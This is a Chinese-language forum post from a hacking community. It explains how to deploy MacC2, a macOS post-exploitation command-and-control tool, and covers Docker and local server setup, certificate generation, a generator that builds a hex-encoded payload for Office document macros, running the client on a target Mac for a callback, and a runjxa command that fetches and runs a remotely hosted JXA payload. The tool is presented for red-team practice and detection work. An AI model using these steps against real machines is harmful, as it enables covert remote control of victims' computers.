跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

如何使用MacC2对macOS进行后渗透漏洞利用

精选回复

发布于

如何使用MacC2对macOS进行后渗透漏洞利用

600df68dbd5ee.png

MacC2

MacC2是一款基于Python开发的macOS后渗透漏洞利用工具,该工具使用的是Objective-C调用或Python代码库,而并非命令行执行。MacC2的客户端基于Python2开发,虽然Python2现在已经算是被弃用了,但它仍然可以随Big Sur安装一起提供。在将来,苹果很可能会从macOS的基础安装组件中移除Python2(或者直接删除预置的Python环境支持),但直到2020年11月,这种情况还没出现。

该工具的主要目的是为了帮助安全研究团队进行渗透测试技术演练,并在macOS上构建针对Python后渗透漏洞利用框架的检测机制。苹果计划会将脚本运行时环境从macOS的基础安装中移除,具体何时删除我们还不得而知,不过现在的Big Sur安装还是包括了Python的。

当前版本的MacC2已在Catalina和Big Sur上进行了测试。在Big-Sur上,惟一没有按预期工作的函数是systeminfo命令.

您可以在本地设置服务器,也可以使用我在这个项目代码库中提供的Docker设置。

使用Docker运行MacC2

如果你还没有安装Docker的话,请使用下列命令安装和配置Docker:

chmod +x install_docker_linux.sh

sudo ./install_docker_linux.sh

接下来,运行下列命令。下列命令将会创建一个不受信任的SSL证书以及密钥,并为服务器和端口生成一个宏文件(macro.txt),然后构建macc2-docker。构建完成后,将会在macc2-docker中以交互模式运行MacC2服务器。

此时,工具将要求我们输出MacC2服务器的IP/主机名:

1608856768_5fe534c009eec8f02b3df.png!sma

然后输入MacC2服务器需要监听的端口号:

1608856773_5fe534c5bd1b55d7dff1b.png!sma

工具将生成一个十六进制编码的Payload,存储在一个名为macro.txt的本地文件中,它能够连接至你的MacC2服务器,主机名、IP和端口均对应用户的设置:

1608856779_5fe534cb8ad6b7eaa11b8.png!sma

Docker将会安装aiohttp Python3依赖,构建macc2-docker,然后在容器中运行MacC2服务器。完成之后,MacC2服务器将会监听用户所指定的端口:

1608856785_5fe534d1a4584601d466a.png!sma

现在,我们就可以使用下列命令验证MacC2服务器的运行状态了:

docker ps

除此之外,安装脚本还会在容器和主机之间配置一个共享挂载。在主机上,我们可以浏览/var/lib/docker/volumes/macc2/_data来访问MacC2_client.py和macro.txt。

我们还可以将MacC2_client.py文件拷贝到客户端,执行之后将提供回调,或者直接将macro.txt宏文件导入至一个Office文档,启用宏功能之后,将在客户端打开回调。

本地运行(不使用Docker)

如果你不想使用Docker,你还可以在本地搭建和配置服务器:

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/cedowens/MacC2.git

由于MacC2服务器使用了aiohttp库来进行网络通信,因此我们要先安装aiohttp:

pip install aiohttp

python3 -m pip install --upgrade --force pip

接下来,在C2服务器上,配置SSL(密钥大小至少为2048):

openssl req -new -newkey rsa:2048 -nodes -out ca.csr -keyout ca.key

openssl x509 -trustout -signkey ca.key -days 365 -req -in ca.csr -out ca.pem

请注意,ca.pem和ca.key的文件名不要修改。

然后,使用macro_generator.py来创建MacC2脚本,然后指定服务器的IP/域名以及端口号。macro_generator.py还会构建一个十六进制编码的宏文件(macro.txt)来运行MacC2.我们可以将文件中的内容拷贝到一个MS Office文档中。

使用样例:

python3 macro_generatory.py -s [C2 Server IP/domain] -p [C2 Server Port]

1608856925_5fe5355dbeef605b102c1.png!sma

使用MacC2_server.py脚本监听连接:

1608856932_5fe53564bcb835d28efbf.png!sma

在客户端(目标为macOS主机),使用下列命令运行MacC2_client.py脚本:

python MacC2_client.py

1608856938_5fe5356a8e30e93123a6d.png!sma

此时在服务器端,你将看到传入的连接:

1608856946_5fe53572b635f8e6eafd8.png!sma

MacC2使用

收到连接之后,我们可以在服务器端使用“help”命令来获取内置可用的命令列表,然后输入目标命令来查看详细信息:

1608856958_5fe5357e2ca15e9d527ce.png!sma

你还可以生成一个Mythic C2 JXA .js Payload,然后将其托管至一台远程服务器中。接下来,使用runjxa命令来向MacC2提供托管文件的URL,并执行Mythic .JXA Payload:

>>> runjxa <url_to_JXA_.js_payload>

项目地址

MacC2:【GitHub传送门】

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。